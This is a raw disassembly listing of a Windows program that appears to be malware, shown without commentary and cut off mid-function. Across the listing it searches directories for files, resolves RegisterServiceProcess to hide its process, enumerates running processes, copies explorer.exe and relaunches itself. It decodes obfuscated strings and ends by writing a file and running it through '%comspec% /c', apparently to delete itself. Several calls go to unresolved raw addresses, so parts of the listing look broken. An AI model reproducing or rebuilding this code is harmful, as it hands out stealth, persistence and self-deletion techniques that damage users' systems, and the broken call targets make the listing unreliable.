		push	offset loc_438E26
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CFE0	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 28B0000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0A7


loc_40D030:				; CODE XREF: sub_40CFE0+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D097
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D04A
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D097
		cmp	al, 2Eh
		jz	short loc_40D097


loc_40D04A:				; CODE XREF: sub_40CFE0+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D097:				; CODE XREF: sub_40CFE0+55j
					; sub_40CFE0+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	short loc_40D030


loc_40D0A7:				; CODE XREF: sub_40CFE0+4Ej
		push	ebx
		call	near ptr 28906BAh
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 28B0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D13B


loc_40D0E8:				; CODE XREF: sub_40CFE0+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jnz	short loc_40D0E8


loc_40D13B:				; CODE XREF: sub_40CFE0+106j
		push	ebx
		nop
		call	near ptr 28906BAh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CFE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D1B0	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_40D1B0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D360:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 28B1CC4h
		push	eax
		nop
		call	near ptr 28B110Dh
		mov	eax, dword_447060
		test	eax, eax
		jz	loc_40D483
		mov	ecx, dword_44705C
		test	ecx, ecx
		jz	loc_40D483
		mov	ecx, dword_446F28
		test	ecx, ecx
		jz	loc_40D483
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_447058, eax
		jz	loc_40D483
		push	ebp
		push	offset dword_446F30
		push	eax
		xor	ebp, ebp
		mov	dword_446F30, 128h
		call	dword_44705C	; Process32First
		test	eax, eax
		jz	loc_40D46C
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D3ED:				; CODE XREF: ___:0040D467j
		mov	edi, offset dword_446F54
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446F54
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446F54
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D453
		mov	edi, offset dword_446F54
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446F54
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D454


loc_40D453:				; CODE XREF: ___:0040D42Bj
		inc	ebp


loc_40D454:				; CODE XREF: ___:0040D451j
		mov	eax, dword_447058
		push	offset dword_446F30
		push	eax
		call	dword_446F28	; Process32Next
		test	eax, eax
		jnz	short loc_40D3ED
		pop	edi
		pop	esi
		pop	ebx


loc_40D46C:				; CODE XREF: ___:0040D3D7j
		mov	ecx, dword_447058
		push	ecx
		nop
		call	near ptr 28709F4h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D483:				; CODE XREF: ___:0040D386j
					; ___:0040D394j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D4E0:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 28C0B6Ch
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5A6
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28C06D4h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5A6
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 28C0000h
		push	esi
		call	ebx


loc_40D5A6:				; CODE XREF: ___:0040D549j
					; ___:0040D58Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D600	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_154		= byte ptr -154h
var_124		= word ptr -124h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 28B1CC4h
		push	eax
		nop
		call	near ptr 28B110Dh
		push	offset aKernel32_dll ; "kernel32.dll"
		call	near ptr 28107EEh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D6F1
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_447064, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_447060, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44705C, eax
		call	edi
		mov	dword_446F28, eax
		mov	eax, dword_447064
		test	eax, eax
		jz	short loc_40D6F1
		push	ebx
		push	0
		call	eax


loc_40D6F1:				; CODE XREF: sub_40D600+A7j
					; sub_40D600+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D728
		mov	al, byte_44714F
		test	al, al
		jz	short loc_40D728
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D728:				; CODE XREF: sub_40D600+10Dj
					; sub_40D600+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+1D4h+var_19C]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+1CCh+var_19C]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+1D4h+var_19C]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+1D4h+var_19C]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+1D4h+var_19C]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		lea	eax, [esp+1A8h+var_16C]
		push	0
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_401807
		test	eax, eax
		jnz	loc_40DA20
		push	ebp
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	5Ch
		lea	ecx, [esp+1B4h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B8h+var_110]
		push	offset aSCS	; "%s%c%s"
		push	ecx
		nop
		call	sub_63125E
		mov	edi, dword_50F8A4
		add	esp, 14h
		call	edi
		lea	edx, [esp+1ACh+var_110]
		push	0
		push	edx
		lea	ecx, [esp+1B4h+var_184]
		mov	ebp, eax
		call	sub_401681
		mov	esi, dword_50F90C
		push	eax
		call	esi
		test	eax, eax
		jnz	short loc_40D98F


loc_40D95F:				; CODE XREF: sub_40D600+38Dj
		call	edi
		sub	eax, ebp
		cmp	eax, 61A8h
		jnb	short loc_40D98F
		push	7D0h
		call	near ptr 2870000h
		nop
		lea	eax, [esp+1ACh+var_110]
		push	0
		push	eax
		lea	ecx, [esp+1B4h+var_184]
		call	sub_401681
		push	eax
		call	esi
		test	eax, eax
		jz	short loc_40D95F


loc_40D98F:				; CODE XREF: sub_40D600+35Dj
					; sub_40D600+368j
		mov	al, byte_4477AB
		pop	ebp
		test	al, al
		jz	short loc_40D9D2
		mov	esi, dword_50FACC
		push	104h
		lea	ecx, [esp+1ACh+var_110]
		push	offset aBai	; " -bai "
		push	ecx
		call	esi	; strncat
		add	esp, 0Ch
		lea	ecx, [esp+1A8h+var_184]
		push	104h
		call	sub_4017E4
		lea	edx, [esp+1ACh+var_110]
		push	eax
		push	edx
		call	esi	; strncat
		add	esp, 0Ch


loc_40D9D2:				; CODE XREF: sub_40D600+397j
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+1A8h+var_154]
		lea	edx, [esp+1A8h+var_110]
		rep stosd
		mov	[esp+1A8h+var_124], ax
		lea	eax, [esp+1A8h+var_19C]
		lea	ecx, [esp+1A8h+var_154]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	ebx
		push	0
		push	0
		push	edx
		push	0
		mov	dword ptr [esp+1D0h+var_154], 44h
		call	near ptr 28304C1h
		nop
		test	eax, eax
		jz	short loc_40DA20
		push	0
		nop
		call	near ptr 77C39E7Eh


loc_40DA20:				; CODE XREF: sub_40D600+304j
					; sub_40D600+416j
		lea	ecx, [esp+1A8h+var_184]
		mov	byte ptr [esp+1A8h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A8h+var_16C]
		mov	[esp+1A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A8h+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 19Ch
		retn	4
sub_40D600	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB90	proc near		; CODE XREF: sub_401195j
		mov	al, byte_447151
		test	al, al
		jz	short loc_40DBA4
		push	offset word_447152
		nop
		call	near ptr 282094Fh


loc_40DBA4:				; CODE XREF: sub_40DB90+7j
		mov	al, 1
		retn
sub_40DB90	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBC0	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DBC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 28B1CC4h
		push	eax
		nop
		call	near ptr 28B110Dh
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		call	near ptr 2800000h
		nop
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		call	sub_63125E
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 289044Ch
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E118
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019B5
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019B5
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019B5
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019B5
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 2810000h
		push	esi
		call	near ptr 28709F4h
		nop
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 28B1CC4h
		nop
		push	eax
		nop
		call	near ptr 28B110Dh
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_63125E
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2840000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
